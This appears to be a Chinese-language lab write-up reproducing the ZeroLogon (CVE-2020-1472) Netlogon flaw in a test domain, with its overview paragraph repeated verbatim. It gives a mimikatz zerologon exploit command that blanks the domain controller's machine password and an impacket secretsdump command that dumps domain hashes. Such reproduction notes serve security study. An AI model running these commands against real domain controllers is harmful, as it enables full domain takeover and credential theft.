对ZeroLogon(CVE-2020-1472)的复现
漏洞概述:
这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口
注意:漏洞利用成功后是把域控这个机器用户的密码置为空,与域管的密码无关。
实验环境
域名:HIRO
域控:[email protected] 域管:hiro\administrator
验证
用zerologon_tester.py验证是否有CVE-2020-1472漏洞
攻击:
1.使用CVE-2020-1472exp(需要先代理)
这一步会把域控的密码置为空 #即hash为31d6cfe0d16ae931b73c59d7e0c089c0
自己本地验证看攻击是否成功(ntlmhash为空)
前后对比
2.使用mimikatz(要用支持zerologon的版本)
(1)如果当前主机不在域环境中,target指向ip
lsadump::zerologon /target:192.168.228.10 /ntlm /null /account:win-kong$ /exploit
(2)如果当前主机在域环境中,target指向FQDN
利用(使用impacket包)
攻击成功后读取域内密码hash(
域控机器账号有DCSync权限
)
python3 secretsdump.py hiro.com/[email protected] -no-pass